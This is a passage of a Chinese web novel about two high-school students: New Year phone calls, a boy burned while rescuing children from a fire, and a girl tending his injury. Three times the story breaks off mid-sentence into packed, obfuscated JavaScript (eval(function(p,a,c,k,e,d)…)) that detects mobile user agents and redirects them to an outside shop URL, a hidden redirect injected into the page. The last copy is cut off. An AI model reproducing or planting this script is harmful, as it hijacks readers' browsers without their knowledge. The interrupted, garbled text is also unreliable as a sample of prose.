“嗯。黑贝是什么?” “八饼呀,八个大饼都黑乎乎的。 走个门,手把一了哈哈哈哈哈!” 乔洛兴奋之余,似乎听到了丁似霰那边有警笛的声音……又或许是急救车或者消防车?她分不太清。 “你那边什么声音?” “……着火了。” 屋子里和丁似霰那边实在都过于吵闹,乔洛只听清了一句着火了。 “啊?什么着火了?”她踩着拖鞋就跑向阳台,换一个更安静的地方和丁似霰说话。 “邻居家里,烤手的炭盆翻了,好像最开始没看到,等发现的时候已经烧得挺严重了。” 乔洛倒是并不太关心起火的原因,“你伤到了吗?” 丁似霰此时正坐在自己家的院子里。 救火车到达之前。 火势很大,浓烟和火焰一起从烧化了的纱窗中冲出来。 那间屋子里都是小孩子,许是小孩子玩闹,弄翻了炭盆,然后把窗帘点燃了。 农村自建的小楼一般只有两三层高,这家也一样,只有两层,但火势太大了,去往二楼的楼梯根本上不去人。 他们搬出了桌子,想在外面接一下孩子,让小孩子们从窗户翻出来。 丁似霰去帮忙了,他手长脚长个子高的,站在桌子上,把七个小孩一个一个抱下来。 接最后一个孩子的时候,房顶突然掉下一块板子。 他下意识伸出胳膊,把孩子挡在了怀里。 一股浓郁的烧焦羽毛气味很快便飘了出来。 那孩子不过三四岁,细皮嫩肉的,多亏没伤到。 丁似霰刚处理好伤口,虽然接触时间短,不是很严重,但烫伤,还挺疼的。 那块板子,也蛮沉的,砸出来的淤青和烫伤混在一起,说不清是哪样更疼。 他看了下左边胳膊上刚刚包好的白色纱布,企图动一下胳膊,然后无声地,倒吸了一口凉气。 “没,烧的又不是我家。”他没说实话。 “哦,那就好,”乔洛随便扯过了一件披肩,阳台还是有点冷,“南菀那边还在家里放炭盆?不会一氧化碳中毒吗?” “我姥姥家换成电烤火箱了,但也有一些人家还用炭盆,是挺危险的。” 乔洛向后一靠,把后背贴在热乎乎的暖气上,“还是暖气好呀!” “你没有继续打麻将?”丁似霰感觉乔洛那边的“背景乐”小了许多。 “没,让我妈帮我看着了,我缺东西不能换听,谁打都一样……你会玩麻将吗?” “会一点,但我打得不太好。” “就喜欢你这种的,特别方便我赢牌。”乔洛确实玩得很开心,谁赢钱能不开心? “洛洛。”他轻轻唤了她一声。 “嗯?” “新年快乐。” 透过阳台窗户上的冰花,乔洛正好看到了一枚金色的礼花绽放在空中,在冰花的折射下那礼花显得更加绚烂。 新的一年要到了。 乔洛在震天响的礼花声中,大声回应道:“新年快乐!” 18. 新年 大年初一。 丁似霰一大早就起了床,然后跟着余美兰和丁国辉去亲戚家拜年。 进门说过新年好后,大人们便继续说着一些寒暄的话,他坐在一旁听着,偶尔回答一下姑姑婶婶叔叔伯伯又或是哪家的姨姥姑姥的问候。 然后,再去下一家继续拜年。 整个余家村都多少有点沾亲带故,也不知道还要拜多少家年。 上午九点三十一分,丁似霰收到了新材高中的通知。 因为Q/Q群里是九点半发的通知,许志马上给他发了短信。丁似霰姥姥家没有电脑,他看不到Q/Q。 初八开学。 今年过年太晚了,所以就算初八开学倒也没有比三月一提前很多。 他脑子里第一反应竟然是乔洛幽怨的表情。那小姑娘如果现在醒了,一定在吐槽提前开学的事情。 丁似霰猜对了。 乔洛早上七点左右就被外面的鞭炮声吵醒了,然后鞭炮声就没有停止过。她索性直接起床,和云锦书一起包饺子。 吃过饭后又和云锦书一起玩了半个小时跳舞毯,熬到手机营业厅开门的时间,然后去充了五十块钱的话费。 五百条短信,足够了吧? 新材高中不紧急的消息通知一般是发在Q/Q群里的,那时乔洛还没有出门。 她看到初八开学的一瞬间,就感觉好日子快到头了,然后整个人缠在云锦书身上耍赖。 人,到底为什么要上学,为什么要早起! 一想到马上要重新体验那种早上六点就从被窝爬出来,天不亮就坐到教室里的生活,她就感觉这日子过得真的是艰辛至极。 不过开学以后天天赖在杨可期身上,然后下课再和丁似霰与许志一起扯扯淡,也不错。 乔洛从小就没有去四处拜年的体验。 她姥姥是在那一辈里排行老二的,但乔洛的大姨姥在她还未出生的时候就已经去世了,和那边也没有什么往来。姥爷是老大,过世后,和那两个姑姥家倒是还没断联系,仍旧会来往。 所以,都是各家的亲戚来乔洛姥姥家拜年。 电视上各台播放的不是春晚回放就是抗日神剧,乔洛没什么想看的,就所在床上的角落里,一边嗑瓜子一边听大人们说些家常,然后再和大姨家的哥哥和嫂子以及舅舅家的哥哥玩扑克。 他们玩的模式叫“拖拉机”,一种几乎可以算是赌博的牌局,只不过他们赌的是“飞子”,就是用另一套扑克当代币。 两个哥哥都比乔洛大了很多,她自小被这两个人带着去打台球,玩游戏机,或者去公园里爬树,总之,很少做一些传统意义上女孩会做的活动。 前两天还和他们一起去歌厅来着,刚学会摇骰子赌大小。或许是新手保护期,乔洛一晚上都没太输过。 再一次喊过“新年好”,然后收下压岁钱后,乔洛突然感觉应该给丁似霰拜个年。 毕竟昨天晚上他先说的新年快乐。 乔洛总是想到什么就做什么,她打完这把牌,就拿着手机趿拉着拖鞋走出房间,在阳台上拨通了丁似霰的电话。 连着两天打长途电话,真是下了血本。 果然,那人接通得很快,他好像总是这样,回消息很快,接电话也很快。 “猪年大吉呀!”乔洛语气欢快。 还是第一次听猪年大吉。 “猪年……大吉。” “嗯?猪年怎么了,有这么难以启齿吗?猪肉多香。” 丁似霰失笑道,“没有没有,就感觉这么说多少有点别扭。” “你什么时候回新柳?初八就开学,好日子就剩六天半咯!” “初五走,我爸开车回来,估计得初六晚上或者初七才能到了。” 南菀到新柳足足有两千多公里,这个距离开车不眠不休也要二十几个小时。 “这么远,开车回来?”乔洛很震惊,她自小就有些晕车,在她的世界里二十几个小时的长途汽车简直是人间酷刑。 “对啊,我爸开大货车嘛,正好顺便接点活,把车开回家,然后歇一个月再出去。” “喔,”乔洛今天的心情似乎并没有被开学的消息影响,依然情绪高涨。 有敲门声传来,乔洛小跑着去开了门,然后大喊一声:“老舅老舅妈过年好!” 乔洛没有挂电话,只是把手机拿在了手里,但是收音效果一样很好。 丁似霰甚至感觉耳朵被震了一下,洛洛,嗓门真的很大。 男人的声音听起来多少带了些……玩世不恭的感觉,听起来应该是一个年纪不大的舅舅。 “呀,小洛长高啦?夏天去我那摘杏是不是不用梯子了?” “你是不是又想被姑姥拿着扫把满院子打了?”乔洛从鞋柜子翻了两双拖鞋出来,递过去,然后瞪了老舅一眼。 “下回我帮你把他摁住挠痒痒!”乔洛的老舅妈在一旁帮腔。 “还得老舅妈是正义的,”乔洛对着他们摆了摆手,“快进屋吧,今年买的砂糖橘可甜了,快进去多吃点!” “来,压岁钱先给你!”老舅妈从包里拿出了一个红包,递给乔洛。 “谢谢老舅妈!” 乔洛收了红包,蹦蹦跳跳又回到了阳台,拿起手机。 “喂?还在不?” “在,”丁似霰道,“这么开心啊?” “当然,收压岁钱谁能不开心?虽然我都是直接上交吧,但收钱的时候肯定乐呵。” 乔洛一直都是,压岁钱全额上交,纯属自愿。她感觉这些钱都是大人们换来换去图个吉利,反正云锦书拿出去多少份,她就收回来多少份,绕了一圈完璧归赵,但多了点新年的气氛。 “你这就算拜过年了?” 丁似霰很惊讶,以前在新柳过年的时候,他们家也没有什么亲戚,自然不用走动。这两年在南菀,挨家挨户拜年,大人们累不累不知道,他感觉挺累。 “嗯呗,我一直都是在我姥家床上一瘫,谁来了我就喊一嗓子过年好,要是正好站着可能再鞠个躬,就算拜年了,”乔洛道,“你不会是去挨家挨户拜年吧?” “是这样,现在已经是第五家了,我好像一个人都没记住,我妈让我叫什么我就叫什么。” 丁似霰从接了电话开始就走去屋子外面了,很冷,但至少清净些。 真的不太懂那些亲戚,怎么这时候就开始企图给他介绍女孩认识了,虽然只是玩笑话,但也太早了一些。 “那你岂不是很早就起床了?” “五点半,有人放鞭炮把村里的鸡都崩醒了,一只接一只打鸣,想不醒都难。” “咦……好惨哦。” “刚刚你说的姑姥满院子打老舅是什么事啊?” “小时候夏天我去我老舅家院子里摘杏来着,杏树有一部分枝长到房顶上面了,我是爬梯子上的房顶,结果摘了一会想下来的时候发现梯子被我老舅拿走了,后来我姑姥发现了就替我出气呗!” “那你怎么下来的?” “爬树,从杏树那个枝干上能跳下来。” “上次打枣不是不敢从树上往下跳吗?” “那是小学的事情了,我当时还在练散打,二三楼左右的高度跳下去都没事的,现在这是太久没练退化了。” 乔洛说话的时候一直是用耳朵和肩膀夹着手机,然后把阳台里那箱没开封的砂糖橘撕开了一个小口,掏出一个扒开,一点一点把那个小东西的经络全部剃干净,塞进嘴里。 两声“嘶……”同时穿出了听筒。 乔洛是被这筐的砂糖橘酸的。 真酸啊,这不是砂糖橘吗?怎么这么酸? 丁似霰被一个他没有记住的……或许是伯伯,撞了一下左臂。 真疼啊,预料之中的触碰还能咬咬牙忍着不吭声,这突然间撞了一下谁能忍得住。 “怎么了?”乔洛被酸得龇牙咧嘴,但还是听到了丁似霰的声音。 “耳朵这么好使?”他故作轻松,“撞门框上了,长太高也很麻烦。你呢?” “酸的,一会我必须把这筐砂糖橘拿屋里面去,让他们也酸一酸,”乔洛没有怀疑丁似霰的话,一心只有让这个很酸很酸的橘子去荼毒更多的人,“不和你聊了,我要把这个橘子塞进我老舅嘴里,拜拜!” 乔洛说罢就挂断了电话,小碎步跑回屋子里用砂糖橘酸人去了。 丁似霰看着手机小小的显示屏里的“已挂断”多少有些失神。 这女孩真的好神奇,明媚又淡漠,她总是似乎什么都不在乎,又好像对很多事情充满了兴趣与活力。 但她的热情,又似乎来得快,去得也快。 丁似霰在想,得想些办法,让她对自己的兴趣持久一些,再持久一些。 他也说不清是从什么时候开始,想要陪在这个女孩身旁,和她同行。 初一,第一次全县联考,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908910|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大榜上看到她的名字时,那应该是对于学霸的膜拜和向往。 数学149的学霸,很难不膜拜啊! 初三,体育考试,远远看到那唯一一个没有穿着班服的白色小身影孤零零在一团玫粉色的末尾时,偶然听到那个人就是乔洛。再加上已经一年没有在榜单上看到她的名字,或许那时是有一些惋惜和同情。 但他那时就感觉,这个名字就算一年没有在榜单上出现,最后一次仍然不会缺席,是一种莫名其妙的期待和信任。 中考成绩公开,他发现乔洛的排名依旧在自己前面时的喜悦竟不亚于自己考上了新材高中的公费生,意料之中又忍不住开心。 那个他关注了三年却毫无交集的女孩,终于有机会认识一下了。 高一,新生报到排队的时候,隔壁排略微偏后的位置有一个小姑娘,矮矮的,在人群中形成了一个凹陷。看起来似乎和当年考试的时候在操场上看到的身影有些像。 军训看到十班那个筋骨清奇的小丫头时,是他第一次看清乔洛的脸。 女孩为了方便,扎着低丸子头,看得出来,要么头发很长要么发量很多——好大的丸子,还是个炸毛款。 许是出去和男生比平板支撑有些不好意思,又或是晒了一天,当然也可能是累的,反正她的脸很红,白里透着红,很好看。 很可惜,直到运动会前夕,都没有找到任何可以和她有交集的机会。 丁似霰没和女孩搭过讪,他不太知道该怎么和乔洛突破“课代表之交”的关系,鬼使神差地耍起了无赖。 不过她误会了,真的不是笑她矮,是真心感觉,很可爱。误会就误会吧,小丫头一脸无语的样子也很可爱。 后来顺理成章要到了她的手机号码还加到了她的Q/Q,在她Q/Q空间里发现了儿时在鬼屋前那张合照时,丁似霰终于明白了为什么看到她会感觉熟悉,原来她就是自己童年遇见的鬼屋女侠。 在这半年的相处里,似乎每一刻,都让人向往。 说不清了,情感,是最难解释的东西。 余家村其实只是一个比较落后的南方农村,在这里,男婚女嫁在十几岁都是常态。 丁似霰的身形遗传了丁国辉,甚至更胜一筹,宽肩窄腰又十分高挑。 而他的长相,说是基因彩票也不为过。 丁国辉是北方大众意义上俊朗的小伙子,谈不上多帅,但确实配得上一句“周正”。 余美兰更是非常典型的,温婉的南方姑娘,五官柔和,身材娇小,说话也是温温柔柔的。 丁似霰,与北方男孩子相比,多了一丝温柔,同南方男孩子相较,又多了几分爽朗。在外形上完全是一个父母的优点的集合体。 似乎青少年真的是在某一个阶段,忽然就长成了大人的模样。 这次回南菀,村里多了好多人明里暗里问丁似霰有没有来南菀的打算,然后再“随意”地提起自己家女儿又或是亲戚家女儿和他年龄相仿,可以认识一下。 余美兰和丁国辉自然能看透这些人的意图,他们只是笑着说,还太早了些。 但是丁似霰不自觉会想起来乔洛。 不是把乔洛和那些女孩放在一起比较,只是会想起来她,然后再看看手机,看一看和乔洛的对话框,暗戳戳期待会不会再收到一句“早上坏”。 丁似霰打开乔洛的对话框,快速输入了一条消息。 ——忽然有点好奇,橘子到底有多酸。 乔洛此时刚刚“奸计得逞”,笑得前仰后合。六瓣橘子一瓣也没浪费,祸害了一圈人。 她看到消息提示,先去洗了洗手,然后打开手机。 ——不巧,刚把酸橘子都分出去了,而且邮到南菀会馊掉。 丁似霰看到后不由感叹:唉,洛洛还真是个极致的现实主义战士。 ——不过我倒是不介意等你回来之后再搜罗搜罗其它的酸橘子,如果你真的很想找虐的话。 看出来乔洛是新充的话费了,平时几条消息都要并在一起发,这次竟然分了两条发过来。 ——我能申请还是吃甜的吗? ——批准。 丁似霰搓了搓已经冻僵的手指,南菀阴冷的空气属实没有那么好闻,突然有些想念新柳那种混合着铁锈,枯枝,陈雪的冷味了,干爽又纯粹。 也有些想念新柳的人。 或许,这种奇妙的情感。 是少年懵懂的悸动。 19. 骗子 高一下学期,从开学第一天开始,丁似霰就获得了“骗子”的称号。 他也没想到,胳膊上的伤竟然会暴露得如此之快。 二月末,新柳的清晨依旧很冷,今天的风也有些大。乔洛坐在云锦书电动车的后座,目光无神地迎接冷风的摧残。 该死,去学校的方向还是逆风。 那时的天只有一点点光亮,基本看不清什么,乔洛也没什么心思四处观望。 困,太困了。 距离学校只有一个路口,云锦书停下车,等红绿灯。乔洛的余光,看到了人行路上那个熟悉的身影。 丁似霰。 那人还是斜挎着书包,围巾似乎是换了个颜色,也可能是光线问题,不重要。他没有看向乔洛,当然,他也不知道乔洛也在路口。 电力做功还是要比腿力做功快一些的,乔洛进到学校大门口没有走向教学楼,而是躲在门口的石柱后面,等着吓一吓丁似霰。 不对,不能叫吓人,这明明是清晨免费唤醒复健服务。 可能腿长步子大吧,丁似霰走路很快,没过多久就出现在了转角。 乔洛想起来,他和自己一起走的时候倒是一直和她速度一致,也不知道能不能迈开步。 谁让他非要和女孩一起走的,他不走慢点难道让乔洛小跑跟着?那才是倒反天罡。 “嘿!”乔洛看准丁似霰进门的时机,然后窜出去,结果踩到了地面的冰,没站稳,实打实撞了他一下。 想象中男孩被吓一跳的画面并没有出现,取而代之的竟是他右手虚握着左臂,微微弯下腰,左臂有些颤抖。 乔洛瞬间慌了手脚,她也没多大劲啊…… “你……你怎么了?”她像投降一样双手张开举在头两侧。 丁似霰似乎已经缓了过来,转过头去看到她这个样子,不禁笑了起来,“你这是干什么,缴械投降?” “嗯……算吧,”乔洛快速眨着眼睛,指了指他的胳膊,“怎么了?” “没事,前两天磕了一下。” “你干什么了,能磕到胳膊?”乔洛十分怀疑,“袖子撸起来给我看看?” “太冷啦,赶紧去教室吧,我可不想开学第一天就被抓迟到。”丁似霰像拎小鸡仔一样提起乔洛的书包,向教学楼走去。 他用的是左手,好像企图在证明些什么。 不过乔洛的书包里只有一包糖果,一些常见的文具以及一个空水瓶还有一个用来画画的小本子,实在没什么重量。乔洛也没有要回书包,跟着他蹦蹦跳跳地走着。 “小心滑,别摔了。”丁似霰看着她的样子,浅浅笑着。 “没事,我底盘稳,”乔洛突然想到刚才的事情,有些心虚,“刚才那是意外。” “镯子我做好了,一会给你试试。” “你怎么知道我手掌大小,你都没问我,我还以为就是开个玩笑。” “哥们有鹰眼,精准测量,”丁似霰道,“这可不是玩笑,画我还是要的。” “那个……其实我画人五官画不太好,平时也就画点建筑物什么的……”乔洛当时真的以为就是口嗨,从没想过丁似霰真的做了。 “没事,那就不露脸,给我画个英俊的背影。” 他倒是可进可退。 “那等体育课的吧,你打你的球,我照着画画,”乔洛没有忘记丁似霰的胳膊,况且这家伙一直是左手挥拍,“但你现在还能打球吗?” “再有个一周就好了吧,不耽误。”丁似霰又象征性举了举右胳膊,“再者说,其实我两个手都会,单纯是左手挥拍对面比较不好接球。” “好,你最厉害了!”乔洛挺直了腰板,看着丁似霰。“你,有没有发现我哪里不一样了?” “嗯?过年吃得不错。”丁似霰一脸贱笑。 “你才胖了呢!我体重根本没变化,我!长!高!了! 我现在有一米六二了!” 丁似霰停下脚步,略微弯着腰,朝乔洛凑近了一些,似是为了在光线并不充足的清晨将乔洛的身形看得更清晰。 他们那时走到了教学楼前升旗广场的中部,正好是上学人流量最多的高峰时期。 乔洛看到他一张脸凑近自己的一瞬间不自觉屏住了呼吸。 他要干嘛? 身旁不停有人经过,多是步履匆匆——零下十几度的天气里,没有人会想在外面多待。 可,太近了。 乔洛甚至能感受到丁似霰呼出的热气在寒冷的空气中变成白霜扑向她。 这人,怎么拉近了一看,更好看了? 这就是,那种小说中写的,心,漏了一拍的感觉吗? 乔洛不自觉咽了下口水,紧张,一定是紧张的,她从来没和男生离得这样近过,一定是紧张! 短短几秒钟,乔洛感觉自己脑子一片空白,她还是第一次有这种感觉。 “嗯,确实高了点。” 那人竟然就说了这么一句话。 至于凑这么近吗! 乔洛瞬间感觉气不打一处来,抬手猛敲了一下丁似霰的头。 “走了走了,老王头一会就要站在楼口堵人了。”乔洛没有再看他,自顾自扭头就朝着教学楼走去。 这次是丁似霰跟在她身后,脚步欢快。 风水轮流转啊,转得真快。 乔洛在高一四班的后门,接过了书包。 然后把丁似霰拽住了。 “给我看看你那个胳膊。” “真没事,就是撞了一下。” 乔洛没有说话,只是略微有些固执的看着他。 丁似霰有种感觉,今天不坦白从宽,就真要被乔洛从严处理了。 他心一横,直接利落地挽起袖子,露出了被纱布包着的小臂。 伤口是斜着的,所以包扎了很长一条,看起来更渗人了。 “你这叫……撞了一下?” “斜着的,所以才包上这么长。不严重的。” 乔洛顿了几秒,幽幽地吐出两个字:“骗子。” “嗯?” “你不是说烧的不是你家吗?” 丁似霰很惊讶,他也没说这是烫伤啊! 但比起惊讶,更多是慌乱。 乔洛的表情似乎不太对,她神色很冷,丁似霰感觉她这样看着他,比刚刚上学路上吹的风还要让人感觉冷一些。 “你撞了一下要是没破皮仅仅是淤青根本不用包纱布,破皮的话刚才在校门口被我撞那么一下现在早渗血了,除非就是烫伤。” “我……去帮忙了,就不小心……”丁似霰不好意思地摸着后颈。 “关我屁事。”乔洛留下这四个字,提着书包就从后门溜进了教室,再也没给门口的人一个眼神。 丁似霰还没有胆大包天到开学第一天就闯进别的班级,也只好先灰溜溜走进了五班。 大年初八,一个多数商铺在新的一年里继续开张的日子。但比他们的鞭炮更早响起的,是新材高中的早自习的铃声。 新学期的第一节早自习是繁忙的,因为要去拿新书。 乔洛在后门看到那个熟悉的身影随着人流走出去的时候不禁翻了个大大的白眼,欠登似的,说一句胳膊疼少干一次活会死吗? 杨可期一脸看热闹的表情,用肩膀轻轻撞了一下乔洛,“他惹你了?” “没。” 乔洛在书包最外面的小口袋里,看到了一个意料之外的东西——那还是刚放寒假的时候在杨可期家药房做的烫伤膏。 一个假期过去,她已经快把这东西忘记了。 “那你翻什么白眼?”杨可期撑着脸,歪头看向乔洛。 “我眼部复苏运动,早上起来没活动开。” 杨可期咂咂嘴,没有继续盘问下去。 乔洛的书,向来不包书皮也不写名字,她拿到书后清点了一下,就把它们掉了个方向横放在桌面上,让书脊正对着自己。 她翻开历史书看了几页,不考试的话,纯当看故事,她还是蛮喜欢看历史和地理书的……只是看了也记不住。 桌膛里面的手机屏幕向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908911|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上放着,已经有四条未读消息了。 在第五条消息发来的时候,乔洛还是把手机拿出来,点开了对话框。 不出所料,都是丁似霰发的。 ——对不起我错了,我以后一定如实禀报! ——真的没事,都快长好了。 ——我就是帮一个小孩挡了一下,确实是撞的嘛,就是,是被温度有点高的木板撞的。 ——真不理我啦? ——最后一条!别拉黑我!啥时候消气了给我发个标点符号就行,好不好? 消气?有什么气可消?她生哪门子气。 乔洛掏出烫伤膏,然后又用酒精湿巾仔细地擦了擦手。 她用气音和杨可期说道,“我出去一下,一会就回来。” 杨可期看着她手里的药膏,有些不解:“这药味不凑近根本闻不到,你在屋里抹就行。” “我没烫到,隔壁有个骗子,我给他送去。” “去吧去吧,朕已阅,批准了。”杨可期欢快地对着乔洛摆摆手。 女孩弯着腰,小碎步从教室后门溜了出去。 许是因为假期时这栋大楼静默了一个多月,如今每个班级都开着门透气。 乔洛走到丁似霰身边时,他正对着后门这边侧着身子企图拆纱布。 看到女孩的一瞬间,有点慌,他下意识把胳膊收了回去。 “小骗子,胳膊伸出来。”女孩声音很小,也听不出来情绪。 丁似霰把右臂伸了出来。 乔洛没有说话,只是很无语的看着他。 “有,有点吓人,还是别看了吧……” “你不是说快长好了吗?” 他没有说话,或许是不知道该说什么。 “快点,一会上课铃响了。”早自习和第一节课之间只有五分钟的间隔,此时距离早自习结束只有两三分钟了,乔洛敢在自习课溜走,但是正式上课的时候还是要老老实实坐在教室里的。 丁似霰只好伸出了左臂,然后缩缩脖子,把自己半张脸藏在了羽绒服的领子里,颇有一种任君宰割的模样。 纱布还没有拆开,乔洛小心翼翼打开绳结:“刚才搬书的时候又碰到了?” “嗯。” 伤口足有约十厘米长,烫伤后起的水泡已经消了下去,那层薄膜也在摩擦中破损,露出了泛着血丝的粉色皮肤——不对,不能叫皮肤,现在这块没有皮。 淤青快要消散而出现的棕黄色印记,和烫伤交织在一起,看起来更加惨烈。 乔洛真实的看到他的伤口,更有一种眼前一黑的感觉:“大骗子你是,这叫快长好了?” “已经好很多了。”丁似霰这话说的不免有些心虚,虽然比当初弄掉烧糊了那层皮的时候好了很多,但确实他这个胳膊属实与“已经快长好了”还是有一定距离的。 乔洛打开手里的药膏,刚想给他涂上去,又停住了,“你不能过敏吧?” “除了青霉素,好像我还没有什么药会过敏。” “哦。” 她用指腹沾了些药膏,轻柔地涂在丁似霰的伤口处,还同时缓缓吹着凉气。 乔洛再一次感谢自己四千多的肺活量,这样吹气都不会头晕。 她看到丁似霰悄悄握紧了拳头,问道,“疼吗?” “有一点……”他声音闷闷的。 乔洛恶狠狠吐出一个字。 “该。” 谁让他之前不说实话?不然乔洛也不会不小心撞到。 少他一个劳动力,又不是书就搬不回来了,说一句胳膊上有伤就那么难? “你怎么会有烫伤膏?”丁似霰企图打破一下有些沉默的氛围。 “我神通广大未卜先知,今天早上两眼一睁掐指一算就知道你要作死,”乔洛把药膏放在他桌子上,然后站起身,“这个,止痒,还能促进愈合,好像也有点止疼的效果,你留着用吧,我回去上课了。” 乔洛说完转身就要走,却被丁似霰拽住了校服的袖子。 “别生气了好不好?” 20. 似是仇家归 “我生什么气,你就算残废了又关我屁事……”乔洛转过头去,就看到了丁似霰可怜巴巴的模样。 不知道是因为伤口真的有些疼,还是晨起的困倦……又或是怕乔洛真的生气不想理他了,总之丁似霰现在眼眶还有些泛红。 他就用这幅样子,不安地扯着乔洛的衣角,仿佛在等待审判。 不对,他没等待,他这是在争取宽大处理,颇为虔诚。 乔洛一瞬间就没了脾气,“真没生气,我是感觉你伤到了就好好养着,二次创伤能避免就避免,不然又疼又好得慢,对吧?” 她伸出手揉了揉丁似霰的头发,大概是刚洗过,手感不错,很蓬松,“而且我今天第一节课是语文,再不回教室,可能我就真回不去了。” 教四班语文的老师叫葛淑梅,是一个全校都有名的人。古板又固执,课堂严格,作业留得还很多,关键是还很敬业,时不时就会抽查作业,真是让人闻风丧胆。 他忙点了点头,松手放开了乔洛的袖子,“拜拜。” “拜拜,小骗子。” 乔洛的背影闪进四班后门,丁似霰才收回自己的目光。 他拿起药膏闻了一下,好健康的味道,也不知道混了多少草药。 但确实涂上去的时候感觉凉丝丝的,很舒服……也或许是因为她刚刚吹着凉气? 葛老师哪怕已经五十岁了,依旧很有精气神,但是乔洛和杨可期都记不清她到底讲了些什么。 因为她不让睡觉,所以这两个姑娘在后面不住地点头叩首。 她还压堂! 本来以为下课铃响起来就已经是救赎时刻了,没想到她还在滔滔不绝……如果脸上能写字,那么乔洛和杨可期一定可以凑出来八百个绝望。 丁似霰拿着小首饰盒,站在四班后门外面,笑吟吟看着五分钟里磕了至少十几次头的女孩。 还有三分钟上课,葛老师终于说出了学生们期盼已久的话:“这节课就到这里,下课吧。” 数不清多少人,原地卧倒,这其中就有乔洛和杨可期。 早晨八点刚过,太阳已经升了起来,阳光透过窗户照进教室,撒在女孩的身上。 丁似霰在门口站了一会,静静看着那个已经睡着了的姑娘。 离得太远,他看不真切,但有光穿过她的发丝。 她枕着胳膊,手指自然的垂下,指尖在阳光的照射下泛着一丝橙色的光影。 真好看。 上课铃打响,丁似霰跑回自己的座位。真不巧,五班第二节课是英语,如果不是惦记着下课再去找乔洛给她试试镯子,估计他也要点头叩首了。 乔洛醒过来已经是第二节课快要下课的时候了,并不是被某个老师叫醒,而是因为校外那些开业的商铺。 九点开始,简直锣鼓喧天鞭炮齐鸣,想睡觉都难。 下课铃打响后,她伸了个懒腰,拿起空水瓶准备去饮水机那里接点水。 刚站起身,就看到后门外出现了一个雀跃的身影。 男孩拿着小首饰盒,对她招着手。 那是一只很透亮的白色平安镯,丁似霰还贴心的带了一管护手霜。 隆力奇蛇油护手霜,还真是朴素又实用。 镯子很合适,穿过手掌最宽的地方时微微有些卡顿,但不会把手卡红。 手镯在乔洛纤细的手腕上轻轻摇晃,她微微抬手,那圆环就滑落到小臂中间的位置上。 “不错,显瘦还显白,眼光和手艺都不错。” 丁师傅得到了洛洛顾客的赞赏。 过了一个星期后,丁似霰才敢问乔洛,她到底为什么会有烫伤膏。 乔洛当初多少有些生气,才会阴阳怪气地告诉他自己未卜先知。 但这时她早就不生气了,很简洁地说了原因。 “我们这些玩编绳的多少都会烫几个泡出来,这东西有备无患。” 玉线最后烧结的时候需要用打火机加热,然后让绳尾黏住;还有串珠子的时候如果珠子孔径比较小,也需要把线烧一下进行处理,拉出一小条结实又纤细的纤维。 这两种操作都还是蛮容易烫到手的。 乔洛有一次一不小心碰到了刚烧化的玉线,手指直接烫糊了一个小圆点,只不过面积很小,她也没在意,随手把那烧糊的皮肤抠了下去。 还是杨可期见了之后吱哇乱叫,非要给她涂药,还说是自己家祖传配方。 确实好用。 后来乔洛不一定什么时候想起来,就会喊他小骗子,足足叫了半个多月。 反正也已经露馅了,丁似霰干脆破罐子破摔再加以利用,总是磨着乔洛,让她帮他涂药膏。 乔洛特意去查了“烫伤后的饮食菜单”,颇有毅力地给他定了半个月的晚餐,她说“留那么长一条疤,太丑了”。 为什么也是半个月呢? 大概乔洛对这件事的兴趣目前只能维持这么久。 农历二月初二。 那是一个周一,龙抬头的好日子。 无论是因为封建迷信还是传错了的俗语,多数的孩子们已经至少一个月没有剪头发了。 长发是无所谓的,但是那些男生,已经一个两个都变成文艺青年发型了。 说得形象一些,就是像鸡窝一样又长又乱。 很可惜,今天依旧不会有这个时间去剪头发,除非有人愿意中午一直在理发店排队,从而放弃吃午饭。 当然,这么好的日子就算去排队了大概率在下午上学之前也是排不到的。 九点十分,一个本应该去广场升旗的间操时间。但因为外面突然下起来的大雨,临时变成了室内大课间。 丁似霰盘腿坐在乔洛座位后面的地上。 没错,这家伙已经习惯了课间的时候从四班后门溜进来,他也不乱晃,只在乔洛这里聊闲。 乔洛此时反坐在椅子上……给他编头发? “呀!丁哥又来我们班啦?”四班的李栎昂打趣道。 他也在羽毛球社团,和丁似霰早就相识。 丁似霰对着他招了招手当做打招呼,但是脑袋一动没动,“我在做头部结缔组织形象管理。” “那你什么时候去做头部结缔组织剔除手术?”乔洛刚刚在丁似霰头上编了三个小辫子,现在这么看起来多少有些滑稽,就好像这人脑袋上多长了三条翘起来的尾巴。 “真剪了之后你不就少了个玩具吗?” 乔洛已经连着三天给丁似霰扎头发了。 放学之前乔洛都会帮他把小皮筋剪断,以防止他回家之后自己扯得过于粗暴。 小皮筋拽头发最疼了。 最初还是前天晚饭的时候,丁似霰自习课睡了觉,把头发弄得一团糟。乔洛说丁似霰现在的长毛呛毛呛呲的,不扎成刺猬太可惜了,但最终还是只在他脑袋正上方扎了一个冲天辫。 昨天晚二晚三的课间搞了个超绝不对称双马尾。 今天,也不知道她会扎成什么样子。 丁似霰背对着乔洛,也没有拿镜子看,简直是任君宰割的标准模板。 从皮筋数量上来看,今天的发型颇为复杂。 丁似霰感觉自己整个头顶都被拢在了一起。 不会是什么地中海模拟体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 